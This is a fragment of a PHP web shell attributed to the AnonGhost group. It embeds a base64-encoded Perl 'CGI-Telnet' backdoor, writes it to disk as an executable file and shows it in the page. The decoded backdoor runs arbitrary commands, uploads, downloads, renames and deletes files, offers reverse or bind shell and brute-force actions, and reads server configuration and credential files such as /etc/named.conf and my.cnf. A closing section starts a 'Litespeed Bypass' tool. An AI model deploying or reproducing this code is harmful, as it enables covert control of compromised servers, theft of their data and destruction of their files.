1YiBSbURpcigkKSANCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJaWYob3BlbmRpcihESVIsJGRpcikpDQoJew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQ0KCQkJew0KCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOw0KCQkJCWlmKC1kICRmaWxlKQ0KCQkJCXsNCgkJCQkJJlJtRGlyKCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdW5saW5rKCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoRElSKTsNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgIiRmaWxlIjsNCgl9DQoJcmV0dXJuICIwIjsNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgVHJpbVNsYXNoZXMoJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOw0KCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4NCgkJPHRoIHdpZHRoPScxMDAnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJub3RsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCW5leHQ7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJbXkgJGFjdGlvbiA9IGVuY29kZV9iYXNlNjQoImVkaXQgIi4kZmlsZSk7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkMG1haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGgzPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNGRjAwMDA7Jz5Eb21haW4gKyBVc2VyPC9mb250PjwvaDM+IjsNCglpZiAoJGVycikNCgl7DQoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOw0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAnPHRhYmxlIGlkPSJkb21haW4iPjx0cj48dGg+ZDBtYWluczwvdGg+IDx0aD5Vc2VyPC90aD48L3RyPic7DQoJfQ0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpDQoJew0KCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQ0KCQl7CQ0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBzdHlsZT0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiQxLiciIHRhcmdldD0iX2JsYW5rIj4nLiQxLic8L2E+PC90ZD48dGQ+ICcuJG93bmVyLic8L3RkPjwvdHI+JzsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICc8L3RhYmxlPic7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFZpZXcgTG9nDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0xvZw0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjRkYwMDAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLA0KCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsDQoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLA0KCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywNCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywNCgkJCScvdmFyL215c3FsLmxvZycsDQoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215c3FsL215LmNuZicsDQoJCQknL2V0Yy9teS5jbmYnLA0KCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC1yICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOw0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQ0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImQiKTsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZigkY2htb2QgbmUgMCkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQ0KCQl9DQoJfQ0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsNCglpZigkcmVuYW1lIG5lICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCXByaW50ICZVcGxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn1lbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';
  3237. $file = fopen("agcgi14.izo" ,"w+");
  3238. $write = fwrite ($file ,base64_decode($agcgi14));
  3239. fclose($file);
  3240. chmod("agcgi14.izo",0755);
  3241. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost CGI-Telnet Version 1.4</span><br><div class=content> <iframe src=agcgi14/agcgi14.izo width=75% height=60% frameborder=0></iframe>"; }
  3242. /////////////////// LITE SPEED ////////////////
  3243. elseif(isset($_GET['x']) && ($_GET['x'] == 'aglts'))
  3244. {
  3245. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Litespeed Bypass Priv8 By Mauritania Attacker</span><br><div class=content>";
